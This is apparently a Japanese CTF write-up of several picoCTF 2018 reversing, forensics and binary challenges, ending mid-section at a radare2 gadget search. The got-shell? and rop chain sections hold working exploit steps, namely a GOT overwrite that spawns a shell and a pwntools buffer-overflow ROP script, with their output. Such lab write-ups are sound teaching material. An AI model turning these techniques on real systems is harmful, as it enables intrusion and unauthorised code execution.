[Reversing] be-quick-or-be-dead-3 (350pt)

As the song draws closer to the end, another executable be-quick-or-be-dead-3 suddenly pops up. This one requires even faster machines. Can you run it fast enough too? You can also find the executable in /problems/be-quick-or-be-dead-3_4_081de19947195d5a491290bc42530db6.

時間切れ問題のシリーズ3。また解けた人がぐっと減っています。ということですぐヒントも見ます。

How do you speed up a very repetitive computation?

繰り返しの多い計算をどうやったら高速化できるか?と聞かれてますね。これは鍵になりそう。

リンク先のyoutube動画はこれまでの謎のPVやつっぽいので無視します。
今回配布されるバイナリファイルはこちら

$ file be-quick-or-be-dead-3 
be-quick-or-be-dead-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3ccb7dc1582bf53ee6a967a504a20b68af1a623f, not stripped

picoCTF の shell server 上で実行してみます。

$ ./be-quick-or-be-d
ead-3                                                                                                           
Be Quick Or Be Dead 3                                                                                           
=====================                                                                                           
                                                                                                                
Calculating key...                                                                                              
You need a faster machine. Bye bye. 

今までと全く一緒ですね。数秒で You need a faster machine. Bye bye. と言われて終了です。
radare2 でアセンブラを見てみます。まずはmain。

[0x004008a6]> pdf
            ;-- main:
/ (fcn) sym.main 62
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x4005bd)
|           0x004008a6      55             push rbp
|           0x004008a7      4889e5         mov rbp, rsp
|           0x004008aa      4883ec10       sub rsp, 0x10
|           0x004008ae      897dfc         mov dword [local_4h], edi   ; argc
|           0x004008b1      488975f0       mov qword [local_10h], rsi  ; argv
|           0x004008b5      b800000000     mov eax, 0
|           0x004008ba      e8a9ffffff     call sym.header
|           0x004008bf      b800000000     mov eax, 0
|           0x004008c4      e8f8feffff     call sym.set_timer
|           0x004008c9      b800000000     mov eax, 0
|           0x004008ce      e842ffffff     call sym.get_key
|           0x004008d3      b800000000     mov eax, 0
|           0x004008d8      e863ffffff     call sym.print_flag
|           0x004008dd      b800000000     mov eax, 0
|           0x004008e2      c9             leave
\           0x004008e3      c3             ret

この中で、実行時に出力された文字列と中断された箇所を参考に、時間がかかってそうな部分を特定しながら掘っていきます。

main > get_key > calculate_key > calc
ここまで掘った所、この calc 関数が元凶の予感です。少なくとも calc 関数自体の再帰呼び出しが5箇所もあります。
2のときは fib() という関数名でしたが、今回は calc() と汎用的な名前なので、関数名からアルゴリズムの判定は難しそう。

[0x00400792]> s sym.calc
[0x00400706]> pdf
/ (fcn) sym.calc 140
|   sym.calc (int arg1);
|           ; var int local_24h @ rbp-0x24
|           ; var int local_14h @ rbp-0x14
|           ; arg int arg1 @ rdi
|           ; XREFS: CALL 0x00400733  CALL 0x00400742  CALL 0x00400751  CALL 0x00400761  CALL 0x00400776  
|           ; XREFS: CALL 0x0040079b  
|           0x00400706      55             push rbp
|           0x00400707      4889e5         mov rbp, rsp
|           0x0040070a      4154           push r12
|           0x0040070c      53             push rbx
|           0x0040070d      4883ec20       sub rsp, 0x20
|           0x00400711      897ddc         mov dword [local_24h], edi  ; arg1
|           0x00400714      837ddc04       cmp dword [local_24h], 4
|       ,=< 0x00400718      7711           ja 0x40072b
|       |   0x0040071a      8b45dc         mov eax, dword [local_24h]
|       |   0x0040071d      0faf45dc       imul eax, dword [local_24h]
|       |   0x00400721      0545230000     add eax, 0x2345             ; 'E#'
|       |   0x00400726      8945ec         mov dword [local_14h], eax
|      ,==< 0x00400729      eb5b           jmp 0x400786
|      |`-> 0x0040072b      8b45dc         mov eax, dword [local_24h]
|      |    0x0040072e      83e801         sub eax, 1
|      |    0x00400731      89c7           mov edi, eax
|      |    0x00400733      e8ceffffff     call sym.calc
|      |    0x00400738      89c3           mov ebx, eax
|      |    0x0040073a      8b45dc         mov eax, dword [local_24h]
|      |    0x0040073d      83e802         sub eax, 2
|      |    0x00400740      89c7           mov edi, eax
|      |    0x00400742      e8bfffffff     call sym.calc
|      |    0x00400747      29c3           sub ebx, eax
|      |    0x00400749      8b45dc         mov eax, dword [local_24h]
|      |    0x0040074c      83e803         sub eax, 3
|      |    0x0040074f      89c7           mov edi, eax
|      |    0x00400751      e8b0ffffff     call sym.calc
|      |    0x00400756      4189c4         mov r12d, eax
|      |    0x00400759      8b45dc         mov eax, dword [local_24h]
|      |    0x0040075c      83e804         sub eax, 4
|      |    0x0040075f      89c7           mov edi, eax
|      |    0x00400761      e8a0ffffff     call sym.calc
|      |    0x00400766      4129c4         sub r12d, eax
|      |    0x00400769      4489e0         mov eax, r12d
|      |    0x0040076c      01c3           add ebx, eax
|      |    0x0040076e      8b45dc         mov eax, dword [local_24h]
|      |    0x00400771      83e805         sub eax, 5
|      |    0x00400774      89c7           mov edi, eax
|      |    0x00400776      e88bffffff     call sym.calc
|      |    0x0040077b      69c034120000   imul eax, eax, 0x1234
|      |    0x00400781      01d8           add eax, ebx
|      |    0x00400783      8945ec         mov dword [local_14h], eax
|      |    ; CODE XREF from sym.calc (0x400729)
|      `--> 0x00400786      8b45ec         mov eax, dword [local_14h]
|           0x00400789      4883c420       add rsp, 0x20
|           0x0040078d      5b             pop rbx
|           0x0040078e      415c           pop r12
|           0x00400790      5d             pop rbp
\           0x00400791      c3             ret

直前の calc の呼び出し元 calculate_key はこちら。

[0x00400815]> s sym.calculate_key
[0x00400792]> pdf
/ (fcn) sym.calculate_key 16
|   sym.calculate_key ();
|           ; CALL XREF from sym.get_key (0x400828)
|           0x00400792      55             push rbp
|           0x00400793      4889e5         mov rbp, rsp
|           0x00400796      bf4b8f0100     mov edi, 0x18f4b
|           0x0040079b      e866ffffff     call sym.calc
|           0x004007a0      5d             pop rbp
\           0x004007a1      c3             ret

これより、calc関数の呼び出し時は 0x00400711[local_24h]0x18f4b = 102219(d) が入ります。(初期値)

calc() 関数を読んでいきます。 0x00400714で、[local_24h]4 を比較し、4より大きかったら 0x0040072b へジャンプします。

※ジャンプしない場合、0x0040071d で [local_24h]を二乗して eax へ格納します。ここで eax が32bitなのに注意です。 ※その次の行で eax0x2345 = 9029(d) を足し、[local_14h] に結果を書き戻し、0x400786 へジャンプします。 ※ジャンプ後は、eax に再び [local_14h] を書き出して終了。

0x0040072b からは、eax[local_24h] の値を入れ、1を引き、edx に代入する。 ここで calcの再帰呼び出しedx には前回 calc 関数呼び出し時に渡したもの -1 の値が入ります。
そこから下は微妙にマイナーチェンジが入っています。再帰呼び出しの部分の処理を書き出すとこんな感じ。

  1. [local_24h] の値から1を引いた値を引数に、再帰呼出し
  2. [local_24h] の値から2を引いた値を引数に、再帰呼出し
  3. [local_24h] の値から3を引いた値を引数に、再帰呼出し
  4. [local_24h] の値から4を引いた値を引数に、再帰呼出し
  5. 3.の再帰呼び出し後の eax の値から、4.の再帰呼び出し後の eax の値を引いて eax に格納 1.の再帰呼び出し後の eax の値から、2.の再帰呼び出し後の eax の値を引いた値に、上記の計算結果を足し、5を引いて再帰呼び出し
  6. 5.の再帰呼び出し後の eax0x1234 = 4660 をかけて eax に格納
  7. eaxebx を足し [local_14h] に格納

ここまでを python で書き直してみます。(むしろここまでの日本語いらなかったのでは)

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import numpy

def calc(n):
    if (n > 4):
        ebx = calc(n - numpy.int32(1))
        ebx -= calc(n - numpy.int32(2))
        r12d = calc(n - numpy.int32(3))
        r12d -= calc(n - numpy.int32(4))
        ebx += r12d
        eax = calc(n - numpy.int32(5))
        eax *= numpy.int32(0x1234)
        eax += ebx
    else:
        eax = n * n
        eax += numpy.int32(0x2345)
    return eax

print(hex(calc(numpy.int32(0x18f4b))))

これを実行してみると、残念なことに再帰が深すぎるぞとエラーに。

$ python solve.py 
Traceback (most recent call last):
  File "solve.py", line 21, in <module>
    print(hex(calc(numpy.int32(0x18f4b))))
  File "solve.py", line 8, in calc
    ebx = calc(n - numpy.int32(1))
  File "solve.py", line 8, in calc
    ebx = calc(n - numpy.int32(1))
  File "solve.py", line 8, in calc
    ebx = calc(n - numpy.int32(1))
  [Previous line repeated 993 more times]
  File "solve.py", line 7, in calc
    if (n > 4):
RecursionError: maximum recursion depth exceeded while calling a Python object

python3で、この再帰回数の上限を一時的に引き上げる方法は

sys.setrecursionlimit(100000)

で設定を追加できるとのことだったのでやってみる。limitが 10000 だとまだ上限エラーが出るので 100000 にしてみたところ、今度は Segmentation fault: 11 が発生。
付け焼き刃じゃだめみたい。

python 再帰 的なワードで調べているとこんなページが。

memoizeでPythonの再帰計算をキャッシュして高速化 - About connecting the dots.

  • 再帰計算では、繰り返し使う値を(毎回計算させず)キャッシュして持つ&利用することで高速化する手法がよく使われる
  • pythonでは、上記のキャッシュの実装にデコレータを用いると便利

この記事中で紹介されているpythonのデコレーターについての記事も、とても整理されていて勉強になりました。

Pythonのデコレータを理解するための12Step - Qiita

ということで、上記の2つの記事を参考に、ちょっと汎用的な memorize 関数の実装をして書き換えてみました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import numpy
import sys

# 事前にoverflowすることがわかっているので警告を無視
numpy.seterr(over="ignore")

def memoize(f):
    cache = {}
    def helper(*args, **kwargs):
        key = str(args) + str(kwargs)
        if key not in cache:
            cache[key] = f(*args, **kwargs)
        return cache[key]
    return helper

@memoize
def calc(n):
    if (n > 4):
        ebx = calc(n - numpy.int32(1))
        ebx -= calc(n - numpy.int32(2))
        r12d = calc(n - numpy.int32(3))
        r12d -= calc(n - numpy.int32(4))
        ebx += r12d
        eax = calc(n - numpy.int32(5))
        eax *= numpy.int32(0x1234)
        eax += ebx
    else:
        eax = n * n
        eax += numpy.int32(0x2345)
    return eax

# cacheの作成
for i in range(0x18f4b):
    calc(numpy.int32(i))

print(hex(calc(numpy.int32(0x18f4b))))

実行結果
※ 実行時間は3秒以内でした

$ python solve.py 
0x2f8cdc3f

計算結果が出たので、後は be-quick-or-be-dead-2 のときと同じく、この計算の呼び出し部分を結果の値で書き換えてあげます。

[0x00400706]> s sym.get_key
[0x00400815]> pdf
/ (fcn) sym.get_key 43
|   sym.get_key ();
|           ; CALL XREF from sym.main (0x4008ce)
|           0x00400815      55             push rbp
|           0x00400816      4889e5         mov rbp, rsp
|           0x00400819      bf080a4000     mov edi, str.Calculating_key... ; 0x400a08 ; "Calculating key..."
|           0x0040081e      e80dfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400823      b800000000     mov eax, 0
|           0x00400828      e865ffffff     call sym.calculate_key
|           0x0040082d      89057d082000   mov dword [obj.key], eax    ; obj.__TMC_END ; [0x6010b0:4]=0
|           0x00400833      bf1b0a4000     mov edi, str.Done_calculating_key ; 0x400a1b ; "Done calculating key"
|           0x00400838      e8f3fcffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040083d      90             nop
|           0x0040083e      5d             pop rbp
\           0x0040083f      c3             ret
[0x00400815]> s 0x00400828
[0x00400828]> pd 1
|           0x00400828      e865ffffff     call sym.calculate_key
[0x00400828]> wa mov eax, 0x2f8cdc3f
Written 5 byte(s) (mov eax, 0x2f8cdc3f) = wx b83fdc8c2f
[0x00400828]> dc
Be Quick Or Be Dead 3
=====================

Calculating key...
Done calculating key
Printing flag:
picoCTF{dynamic_pr0gramming_ftw_22ac7d81}

やっっっっっったーーー!٩(๑❛ᴗ❛๑)۶
これはバイナリというより、あればProgramingの分野では?
しかしHintの内容も回収できたので、とても勉強になった!とっても良い問題であった!!

[Forensics] core (350pt)

This program was about to print the flag when it died. Maybe the flag is still in this core file that it dumped? Also available at /problems/core_3_bbdfe8f633bce938028c1339013a4865 on the shell server.

print_flagcore というファイルがDLできます。

$ file print_flag 
print_flag: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a339c09aaeae3e30e1babcf8b26c3203b171979b, with debug_info, not stripped

実行ファイルと

$ file core 
core: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from '/opt/hacksports/staging/core_3_4365917188120846/problem_files/print_flag'

core file というやつのようです。core file、初めて聞きました。
ぐぐってみると、色々情報が載っています。IPAのページも。

7-6. coreファイルから情報が漏れる

UnixLinuxプロセスが異常終了するとcoreファイルが生成される。coreファイルは異常終了したプロセスのメモリイメージをそのまま保存したもので,デバッグや異常終了時の原因調査に役立つ。しかしcoreファイルが第三者から参照されると,メモリ上に存在するパスワードなどの機密情報が漏洩してしまう。

ということで下調べ終了。
今回は、この core ファイルの解析の問題のようです。

coreファイルの解析は、下記のコマンド。

$ gdb ./print_flag core              
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1                                                                    
Copyright (C) 2016 Free Software Foundation, Inc.                                                               
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>                                   
This is free software: you are free to change and redistribute it.                                              
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"                                      
and "show warranty" for details.                                                                                
This GDB was configured as "x86_64-linux-gnu".                                                                  
Type "show configuration" for configuration details.                                                            
For bug reporting instructions, please see:                                                                     
<http://www.gnu.org/software/gdb/bugs/>.                                                                        
Find the GDB manual and other documentation resources online at:                                                
<http://www.gnu.org/software/gdb/documentation/>.                                                               
For help, type "help".                                                                                          
Type "apropos word" to search for commands related to "word"...                                                 
Reading symbols from ./print_flag...done.                                                                       
[New LWP 79738]                                                                                                 
Core was generated by `/opt/hacksports/staging/core_3_4365917188120846/problem_files/print_flag'.               
Program terminated with signal SIGTRAP, Trace/breakpoint trap.                                                  
#0  print_flag () at ./print_flag.c:90                                                                          
90      ./print_flag.c: Permission denied.                                                                      
(gdb)                                                                                                           

なんかソースにアクセスできないエラーがが出ていますが、backtraceが見れれば問題なし。

(gdb) backtrace                                                                                                 
#0  print_flag () at ./print_flag.c:90                                                                          
#1  0x08048807 in main () at ./print_flag.c:98  

ふむ。print_flage関数で死んだらしい。
問題文でもそう言ってるし、関数名も想像の範囲内でむしろここまでの手順は不要だったかも。。。
print_flag のアセンブラを見ます。今回もradare2を使います。

[0x080487ec]> s sym.print_flag
[0x080487c1]> pdf
/ (fcn) sym.print_flag 43
|   sym.print_flag ();
|           ; var int local_ch @ ebp-0xc
|           ; CALL XREF from sym.main (0x8048802)
|           0x080487c1      55             push ebp                    ; ./print_flag.c:90
|           0x080487c2      89e5           mov ebp, esp
|           0x080487c4      83ec18         sub esp, 0x18
|           0x080487c7      c745f4390500.  mov dword [local_ch], 0x539 ; ./print_flag.c:91 ; 1337
|           0x080487ce      8b45f4         mov eax, dword [local_ch]   ; ./print_flag.c:92
|           0x080487d1      8b048580a004.  mov eax, dword [eax*4 + obj.strs] ; [0x804a080:4]=0
|           0x080487d8      83ec08         sub esp, 8
|           0x080487db      50             push eax
|           0x080487dc      684c890408     push str.your_flag_is:_picoCTF__s ; 0x804894c ; "your flag is: picoCTF{%s}\n"
|           0x080487e1      e82afcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x080487e6      83c410         add esp, 0x10
|           0x080487e9      90             nop                         ; ./print_flag.c:93
|           0x080487ea      c9             leave
\           0x080487eb      c3             ret

この内容から、0x539 * 4 + 0x804a080 = 0x804b564 の値を出力しているようです。 メモリの内容を表示します。 (xコマンド)
コマンドの使い方・オプションは、今回こちらを参考にしました。

gdbコマンド メモ - Watsonのメモ

(gdb) x 0x804b564                                                                                               
0x804b564 <strs+5348>:  0x080610f0 
(gdb) x /s 0x080610f0                                                 
0x80610f0:      "8a1f03cbcf407a296fa0bcf149fc5879"

ということで、"your flag is: picoCTF{%s}\n" と出力されるらしいので、flagは picoCTF{8a1f03cbcf407a296fa0bcf149fc5879}

[Binary] got-shell? (350pt)

Can you authenticate to this service and get the flag? Connect to it with nc 2018shell.picoctf.com 23731. Source

DLできるファイルは実行ファイルとソースコード

$ file auth
auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5c1f84b034b4906cce036c3748d4b5a5c3eae0d8, not stripped
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>

void win() {
  system("/bin/sh");
}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[256];
  
  unsigned int address;
  unsigned int value;

  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");

  scanf("%x", &address);

  sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
  puts(buf);
  
  scanf("%x", &value);

  sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
  puts(buf);

  *(unsigned int *)address = value;

  puts("Okay, exiting now...\n");
  exit(1);
  
}

shellを取った後どうするかは知りませんが、問題のタイトルが "got-shell?" なので、きっとshellを取ったら良いことがあるに違いない。
コードを見てみます。

  1. 最初のユーザー入力でinputされた値を address として格納、buf[256] に address の値を書き込み、buf を表示
  2. 次のユーザー入力でinputされる値を value として格納、buf[256] に今度は value, address の値を格納、buf を表示
  3. address の場所に value の値を書き込み

呼ばれない win() 関数では、 system("/bin/sh") 実行ということで、win関数を呼び出せればshellが取れそうです。
radare2で実行ファイルを見た所、win関数のアドレスは 0x0804854b のようです。

[0x08048564]> s sym.win
[0x0804854b]> pdf
/ (fcn) sym.win 25
|   sym.win ();
|           0x0804854b      55             push ebp
|           0x0804854c      89e5           mov ebp, esp
|           0x0804854e      83ec08         sub esp, 8
|           0x08048551      83ec0c         sub esp, 0xc
|           0x08048554      68f0860408     push str.bin_sh             ; 0x80486f0 ; "/bin/sh"
|           0x08048559      e882feffff     call sym.imp.system         ; int system(const char *string)
|           0x0804855e      83c410         add esp, 0x10
|           0x08048561      90             nop
|           0x08048562      c9             leave
\           0x08048563      c3             ret

main関数も確認。

~~(長いので前略)~~
|           0x0804865c      e86ffdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048661      83c410         add esp, 0x10
|           0x08048664      83ec0c         sub esp, 0xc
|           0x08048667      6a01           push 1                      ; 1
\           0x08048669      e882fdffff     call sym.imp.exit           ; void exit(int status)

最後はexit関数を呼び出して終了のようです。
任意のアドレスに任意の文字列を設定できるということは、呼び出される関数のアドレスに、win関数のアドレスを上書きできれば良さそう。

[0x0804854b]> s sym.imp.exit
[0x080483f0]> pdf
/ (fcn) sym.imp.exit 6
|   sym.imp.exit (int status);
|           ; CALL XREF from sym.main (0x8048669)
\           0x080483f0      ff2514a00408   jmp dword [reloc.exit]      ; 0x804a014

exitのアドレスは 0x804a014

ということで、やってみます。

? natsumi$ nc 2018shell.picoctf.com 23731
I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?
0x0804a014
Okay, now what value would you like to write to 0x804a014
0x0804854b
Okay, writing 0x804854b to 0x804a014
Okay, exiting now...

ls
auth
auth.c
flag.txt
xinet_startup.sh
cat flag.txt
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_a8321d81}

おおお!取れた!

[Reversing] quackme up (350pt)

The duck puns continue. Can you crack, I mean quack this program as well? You can find the program in /problems/quackme-up_3_1a5d46f71092071dd15c9edd7f57bd53 on the shell server.

落とせるprogramは下記

$ file main 
main: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7805a59d24d611ea6d344ade8f6eefd2a9005b1, not stripped

実行ファイルのようです。picoCTFのshell server上で実行してみます。

$ ./main 
We're moving along swimmingly. Is this one too fowl for you?
Enter text to encrypt: test
Here's your ciphertext: 51 40 21 51
Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1
That's all folks.

暗号化するtextを入れてね、と言われたので "test" を入れてみました。
問題文の意味がいまいちわからないのですが、きっと quack が「インチキ」という意味「ガーガー鳴く」という意味を兼ねているようなので、それにかけているに違いない。とにかく crack せよってことかな。

$ ./main 
We're moving along swimmingly. Is this one too fowl for you?
Enter text to encrypt: picoCTF{}
Here's your ciphertext: 11 80 20 E0 22 53 72 A1 C1
Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1
That's all folks.

最初に "test" と入れたときの暗号が、 51 40 21 51 ということで、暗号化された文字数とt が同じ 51 に変換されていることから、単純な換字暗号っぽく解けないかな?と思ったわけです。
で、与えられた文字列 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1 がフラグっぽいので、フラグのフォーマットを投げてみたら、ビンゴっぽい。

p: 11
i: 80
c: 20
o: E0
C: 22
T: 53
F: 72
{: A1
}: C1

うむ。これって Reversing じゃなくても解けるのでは…?( ತಎತ)
フォーマットの中の暗号文はこちら 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70
もうascii文字列の可能性の有りそうな文字全部突っ込んでテーブル作ったらええんちゃう?

$ ./main 
We're moving along swimmingly. Is this one too fowl for you?
Enter text to encrypt: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}
Here's your ciphertext: 04 34 24 54 44 74 64 94 84 B4 A4 D4 C4 F4 E4 15 05 35 25 55 45 75 65 95 85 B5 A5 D5 C5 F5 E5 12 02 32 22 52 42 72 62 92 82 B2 A2 D2 C2 F2 E2 13 03 33 23 53 43 73 63 93 83 B3 A3 D3 C3 F3 E3 10 00 30 20 50 40 70 60 90 80 B0 A0 D0 C0 F0 E0 11 01 31 21 51 41 71 61 91 81 B1 A1 D1 C1
Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1
That's all folks.

ということで、プログラムを組んでみました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

encrypted_flag = "11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1"

all_strings = []
start_index = 33 # !
end_index = 125  # }

# create ascii table
for i in range(end_index + 1 - start_index):
    all_strings.append(chr(start_index + i))

print(''.join(all_strings)) # この出力を上記で main に食わせた結果が下記

encrypted_chrs = "04 34 24 54 44 74 64 94 84 B4 A4 D4 C4 F4 E4 15 05 35 25 55 45 75 65 95 85 B5 A5 D5 C5 F5 E5 12 02 32 22 52 42 72 62 92 82 B2 A2 D2 C2 F2 E2 13 03 33 23 53 43 73 63 93 83 B3 A3 D3 C3 F3 E3 10 00 30 20 50 40 70 60 90 80 B0 A0 D0 C0 F0 E0 11 01 31 21 51 41 71 61 91 81 B1 A1 D1 C1"
encrypted_arr = encrypted_chrs.split()

flag = ""
for x in encrypted_flag.split():
    flag += all_strings[encrypted_arr.index(x)]

print(flag)

実行結果

$ python solve.py 
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}
picoCTF{qu4ckm3_8c02c0af}

まぁ、解けてしまった!( ͡° ͜ʖ ͡°)
想定解はアセンブラ読んで処理を理解して復号スクリプトかいてねー!、だったんだろうか?

[Binary] rop chain (350pt)

Can you exploit the following program and get the flag? You can findi the program in /problems/rop-chain_3_f91334c5acb91bde3de858eb8045928a on the shell server? Source.

問題文にスペルミス発見( ✧_✧) 。
picoCTFのshell server上では、該当実行ファイルのディレクトリに flag.txt が置いてあある。
DLできるのは、rop, rop.c の2つのファイル。

$ file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8eaac643f741f622a30379735af2fcdbafefa6c3, not stripped
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define BUFSIZE 16

bool win1 = false;
bool win2 = false;


void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }
  else if (win1) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void flag(unsigned int arg_check2) {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  else if (win1 && win2) {
    printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
  }
  else if (win1 || win2) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

ソースの方はちょっと長め。

何もしないと、main() 関数が呼ばれ、vuln() 関数が呼ばれ、何やら入力を入れて終了。
flagを出力するには、下記の順序で関数を呼び出し or 変数の書き換えが必要そう。

  1. vuln() の return gets() 呼び出し時に、win_function1()を呼び出し: win1 -> true
  2. その後、win_function2(unsigned int arg_check1) を引数 0xBAAAAAAD で呼び出し: win2 -> true
  3. その後、flag(unsigned int arg_check2) を引数 0xDEADBAAD で呼び出し

上記の順で呼び出されるようなスタックを作成し、vuln()関数の gets()関数のBufferOverflow脆弱性を利用して呼び出させます。
これで flag が表示されるはず!

rop実行ファイルのアセンブリを解析、各関数のアドレスを調べます。

# r2 rop
[0x080484d0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080484d0]> afl
0x080483ec    3 35           sym._init
0x08048420    1 6            sym.imp.printf
0x08048430    1 6            sym.imp.gets
0x08048440    1 6            sym.imp.fgets
0x08048450    1 6            sym.imp.getegid
0x08048460    1 6            sym.imp.puts
0x08048470    1 6            sym.imp.exit
0x08048480    1 6            sym.imp.__libc_start_main
0x08048490    1 6            sym.imp.setvbuf
0x080484a0    1 6            sym.imp.fopen
0x080484b0    1 6            sym.imp.setresgid
0x080484c0    1 6            sub.__gmon_start_80484c0
0x080484d0    1 33           entry0
0x08048500    1 4            sym.__x86.get_pc_thunk.bx
0x08048510    4 43           sym.deregister_tm_clones
0x08048540    4 53           sym.register_tm_clones
0x08048580    3 30           sym.__do_global_dtors_aux
0x080485a0    4 43   -> 40   entry.init0
0x080485cb    1 13           sym.win_function1
0x080485d8    7 83           sym.win_function2
0x0804862b   14 233          sym.flag
0x08048714    1 39           sym.vuln
0x0804873b    1 83           sym.main
0x08048790    4 93           sym.__libc_csu_init
0x080487f0    1 2            sym.__libc_csu_fini
0x080487f4    1 20           sym._fini
  • win_function1() : 0x080485cb
  • win_function2() : 0x080485d8
  • flag() : 0x0804862b

ここで、win_function2()flag()関数は引数が必要です。この引数の参照は、該当の関数が呼ばれたときの ebp + 0x8 が参照されます。この引数への参照がいい位置に来るように、関数の呼び出し順が上記の流れになるように並べ替えると、下記のようになります。

0x18 + 0x4 | payload
       0x4 | address win_function1()
       0x4 | address win_function2()
       0x4 | address flag()
       0x4 | arg win_function2()
       0x4 | arg flag()

こうしておくことで、win_function2() が呼ばれたときの引数は [ebp + 0x8] にいることになりますし、flag() 関数が呼ばれたときの引数も [ebp + 0x8] にいることになります。
もしこのような組み方ができない場合は、途中で スタックを pop して return してくれる命令を挟むことで、下記のように組むことができます。

0x18 + 0x4 | payload
       0x4 | address win_function1()
       0x4 | address win_function2()
       0x4 | pop()
       0x4 | arg win_function2()
       0x4 | address flag()
       0x4 | pop() ※じゃなくてもここで終わりなので何でも良い
       0x4 | arg flag()

今回は前者の方針で組みました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

address_win1 = 0x080485cb
address_win2 = 0x080485d8
arg_win2 = 0xBAAAAAAD
address_flag = 0x0804862b
arg_flag = 0xDEADBAAD

# picoCTF の shell serverに接続
print('picoCTF shell server login')
print('name:')
pico_name = input('>>')
print('password')
pico_pass = input('>>')
pico_ssh = ssh(host = '2018shell.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/rop-chain_3_f91334c5acb91bde3de858eb8045928a')

# targetの実行
p = pico_ssh.process('./rop')
p.recvuntil('Enter your input> ')

# buffer overflowさせるための入力を作成
payload = b'a' * (0x18 + 0x4)
payload += p32(address_win1)
payload += p32(address_win2)
payload += p32(address_flag)
payload += p32(arg_win2)
payload += p32(arg_flag)
print(payload)

# 実行
p.sendline(payload)
p.interactive()

実行結果

~~(前略)~~
[*] Working directory: '/problems/rop-chain_3_f91334c5acb91bde3de858eb8045928a'
[+] Opening new channel: execve(b'./rop', [b'./rop'], os.environ): Done
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\x08\xd8\x85\x04\x08+\x86\x04\x08\xad\xaa\xaa\xba\xad\xba\xad\xde'
[*] Switching to interactive mode
picoCTF{rOp_aInT_5o_h4Rd_R1gHt_6e6efe52}

٩(๑❛ᴗ❛๑)۶ 

おまけ
後者の方法も試してみました。
使えそうな pop 命令を探します。radare2のコマンドを下記サイトを参考に使ってみました。

Rop'n'roll · The Official Radare Blog

[0x0804873b]> /R pop
